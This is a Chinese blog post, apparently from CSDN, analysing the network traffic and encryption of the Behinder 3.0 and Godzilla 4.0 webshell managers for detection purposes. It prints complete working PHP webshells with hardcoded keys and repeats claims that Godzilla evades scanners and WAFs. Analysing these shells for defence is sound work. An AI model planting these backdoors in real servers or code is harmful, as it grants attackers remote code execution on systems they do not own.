书接上篇,再分析冰蝎 2.0 之后来看一看 3.0 拥有那些新特性

文章目录

  • 冰蝎
    • 3.0流量
    • 功能原理分析
  • 哥斯拉
    • 使用介绍
    • PHP加密器分析
  • 推荐阅读

冰蝎

3.0流量

冰蝎 3.0 PHP shell,我这里使用的冰蝎版本为 V3.0 beta 9 fixed

<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>

从 shell 代码可以看出,不再使用随机生成 key,改为对密码的 md5 加密,修改了 ui 的框架,界面由 swt 改为 javafx

3.0 分析流量发现相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5("pass")[0:16] 意思就是为连接密码 32 位 md5 的前 16 位。全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

使用网站对第一次请求数据解密

http://tools.bugscaner.com/cryptoaes/

密钥就是 webshell 代码中的 key,AES 解密后在进行 base64 解密

解密后的冰蝎请求中的 PHP 代码

@error_reporting(0);
function main($content)
{$result = array();$result["status"] = base64_encode("success");$result["msg"] = base64_encode($content);$key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
}function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}$content="bmZOS1NVNVEzdWE5TWp3VFZ5T.............................";$content=base64_decode($content);
main($content);

其中 c o n t e n t 这 个 变 量 名 称 和 里 面 的 内 容 为 随 机 生 成 的 , 目 的 是 为 了 绕 过 ‘ content 这个变量名称和里面的内容为随机生成的, 目的是为了绕过 ` content这个变量名称和里面的内容为随机生成的,目的是为了绕过‘Content-Length`

将第一次响应头中的数据进行 aes -> base64 解密

base64 解密之后

{"status":"success","msg":"anozNGkxcTZ5Mmd2dFUybEMxREpwR3........."}

message 是一段超极长的字符串,分析冰蝎请求中的 PHP 代码,发现他就是 content 经过 base64 -> aes 加密后生成的,作用和请求中的 content 一致都是绕过 $Content-Length

{"status":"success","msg": 这个返回数据特征已经在冰蝎 2.0 中已经被加入了Waf的检测规则当中,所以在冰蝎 3.0 当中用超大数据填充的方式绕过

思考一个问题,冰蝎 3.0 C/S 之间并没有传输密码,那么冰蝎是如何判断密码时候正确的?

其实这个问题,在分析流量时已经很明确了,首先冰蝎采用的是 AES 对称密钥加密,使用密钥 K 加密的数据必须使用密钥 K 解密,而冰蝎 3.0 webshell 中已经固定了这个密钥 K 即连接密码 MD5 值的前16位

以默认连接密码 rebeyond 为例,整个密码验证流程如下:

  1. 客户端(黑客)使用冰蝎连接输入密码 rebeyond ,冰蝎客户端对密码进行 MD5 加密,密钥为加密后值的前 16 位,连接数据使用其进行 AES 加密

  2. 这个密钥即 MD5 值前 16 位已经在服务端写死了并加入 session,服务端直接从 session 中去除 K 值进行 AES解密,完成整个通信流程

        $key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
    }
    

功能原理分析

冰蝎 Behinder 功能原理

  • 《利用动态二进制加密实现新型一句话木马之客户端篇》 https://xz.aliyun.com/t/2799
  • 《利用动态二进制加密实现新型一句话木马之Java篇》 https://xz.aliyun.com/t/2744
  • 《利用动态二进制加密实现新型一句话木马之.NET篇》 https://xz.aliyun.com/t/2758
  • 《利用动态二进制加密实现新型一句话木马之PHP篇》 https://xz.aliyun.com/t/2774

哥斯拉

项目地址:https://github.com/BeichenDream/Godzilla

开发者 BeichenDream 是个年轻的大佬

哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件

  • 哥斯拉全部类型的 shell 均过市面所有静态查杀
  • 哥斯拉流量加密过市面全部流量 waf
  • 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

使用介绍

可以使用管理 -> 生成功能生成 Shell(使用版本 v4.0.1)

Java 和 C# 的载荷原生实现 AES 加密,PHP 使用异或加密

将 webshell 上传至目标主机使用哥斯拉连接即可,注意这里的有效载荷、加密器等需要和生成时配置一致

注意这里的密码就是POST请求中的参数名称,而密钥用于对请求数据进行加密,实际使用密钥的 md5 值,因为哥斯拉支持代理功能这里可以设置为 burp,抓包更简单

burp 中配置 proxy options

哥斯拉同样支持请求头中的数据可以在请求配置选项中修改

也可以在配置->程序配置->全局协议头中进行修改

在哥斯拉主页右击会话点击进入就可以进入 shell 管理界面

具体使用可以看这篇文章:攻防礼盒:哥斯拉Godzilla Shell管理工具

PHP加密器分析

webshell分析

PHP Shell 有如下的加密器

eval_xor_base64 就是一个最简单的 webshell,不再分析

<?php
eval($_POST["pass"]);

php_xor_base64

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c;}return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){$data=encode(base64_decode($_POST[$pass]),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}eval($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}
}

首先分析一下 webshell

其中encode函数,用于加密或解密请求数据。由于是通过按位异或实现的加密,所以encode函数即可用于加密,同时也可用于解密

可以看到哥斯拉中同样使用了冰蝎相同的 K 即 key 的 MD5 值的前 16 位

流量分析

连接时抓包发现哥斯拉建立连接时会发起三次请求

第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据,需要注意的是再 哥斯拉4.0 中即使使用的是 base64 加密流量中却是乱码,再之前版本中流量为 base64 字符串

当然不同的加密器原理不尽相同,之后有时间看其他的加密器

  • 推荐阅读

    • 主流WebShell工具流量层分析
    • Webshell连接工具流量分析
    • 常见webshell管理工具流量特征值分析
    • 攻防礼盒:哥斯拉Godzilla Shell管理工具
    • 哥斯拉Godzilla运行原理探寻
    • 巧用Zeek在流量层狩猎哥斯拉Godzilla
    • 哥斯拉Godzilla加密流量分析
    • 哥斯拉流量加解密浅析(jsp篇)

Shell管理工具流量分析-下(冰蝎 3.0、哥斯拉 4.0 流量分析)相关推荐

  1. openssl 版本区别_冰蝎的前世今生:3.0新版本下的一些防护思考

    微信又改版了,为了我们能一直相见 你的加星和在看对我们非常重要 点击"长亭安全课堂"--主页右上角--设为星标? 期待与你的每次见面- 冰蝎(Behinder)是国内黑客圈较火的一 ...

  2. 渗透测试-流量加密之冰蝎蚁剑

    文章目录 前言 冰蝎 PHP冰蝎马 通信数据包 冰蝎初体验 冰蝎攻与防 蚁剑 蚁剑的安装 蚁剑初体验 蚁剑编码器 蚁剑攻与防 总结 前言 一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一 ...

  3. 冰蝎的前世今生:3.0新版本下的一些防护思考

    冰蝎的前世今生 冰蝎(Behinder)是国内黑客圈较火的一款Webshell管理工具.在今年HW开始前,冰蝎突然进行了3.0版本的发布,新版本修改了不少旧版本的流量特征,导致大量WAF.HIDS.W ...

  4. 渗透测试-菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析

    菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 文章目录 菜刀冰蝎蚁剑哥斯拉等webshell工具及特征分析 前言 Webshell简介 中国菜刀 菜刀webshell的静态特征 菜刀webshe ...

  5. 哥斯拉Godzilla Shell管理工具使用,马分析,特征分析(4K屏不好用,Webshell)

    目录 马分析 正文 总结一下木马的利用逻辑: 总结木马特征: 简单使用方法 一些特性 流量加密 插件模块 数据库管理 内存shell 屏幕截图 虚拟终端 JMeterpreter​ ServletMa ...

  6. 【包管理工具】Windows下的软件包管理工具Chocolatey介绍、安装软件出现错误的解决方法

    文章目录 1. Chocolatey是什么? 2. 为什么要使用Chocolatey? 3. 如何下载Chocolatey? 4. 如何使用Chocolatey? 5. 示例一:使用Chocolate ...

  7. iOS 轻量级包管理工具Carthage了解下

    Why Carthage? 我们已经熟知Cocoapods了,对于工程来说,帮我们自动创建Xcode WorkSpace和所有的依赖,对于依赖库来说,用来做本地local pod或者远程pod都非常好 ...

  8. php 启动管理工具下载,PHP管理工具compser windows下安装

    依赖管理 Composer不是包管理器.是的,它实际上和"包"或者库打交道,但是它是以项目为单位进行管理,把它们安装到你项目中的一个目录(例如vendor).默认情况下它不会以全局 ...

  9. linux 自动化管理工具,linux环境下搭建自动化Jenkins管理工具

    一.搭建一个jak--tomcat服务器到自己的linux服务器上 具体的服务器搭建这里可以参考华华大佬的博客:https://www.cnblogs.com/liulinghua90/p/46614 ...

最新文章

  1. Vue $createElement
  2. 【Python自学】万文字,学习框架+思维整理,入门就是这么简单
  3. 基于 Spring Boot 的车牌识别系统(附项目地址)
  4. MFC单文档框架编程(二): SDI框架下的消息处理
  5. SPIDR - 完美分割用户故事的五种简单技巧
  6. leetCode刷题第一天--求两数之和
  7. PHP中间件ICE,ICE的安装配置,ICE常见编译和运行(异常)错误(自测Php版本安装部分,因为php版本跟ice版本不一样失败)
  8. CRM里用户状态和系统状态的区别
  9. java opencsv_用opencsv文件读写CSV文件
  10. js 判断浏览器是否64位
  11. php console postman,postman内置脚本说明
  12. C程序设计语言现代方法05:选择语句
  13. java excel 电话号码_数值或者电话号码被EXCEL转成了科学计数法,用XSSFCell 如何读取...
  14. linux发布成服务,linux服务简单部署
  15. 寻找Harris、Shi-Tomasi和亚像素角点
  16. 记录一次线上mysql事务隔离级别引发的思考
  17. python中字典的索引_python字典索引
  18. 当前默认服务器维护尚未完成,更新公告 | 7月11日早8点停服维护
  19. 动手学深度学习day-two
  20. Bootstrap 3 如何设置图片居中对齐

热门文章

  1. 重识Nginx - 03 Nginx配置语法
  2. OpenGL-利用摄像机实现三维空间漫游
  3. 看了我的 MyBatis-Plus 用法,同事也开始悄悄模仿了
  4. es6 将字符串转换为json_ES6-json与字符串的转换
  5. X86逆向教程15:OD脚本的编写技巧
  6. 联想笔记本thinkpad按F2不能直接重命名
  7. 嵌入式知识-ARM裸机-学习笔记(12):ADC模数转换器
  8. word2vec学习笔记2
  9. android关闭权限管理,Android6.0权限管理以及使用权限该注意的地方
  10. 微信小程序云开发.云数据库.增删改查SDK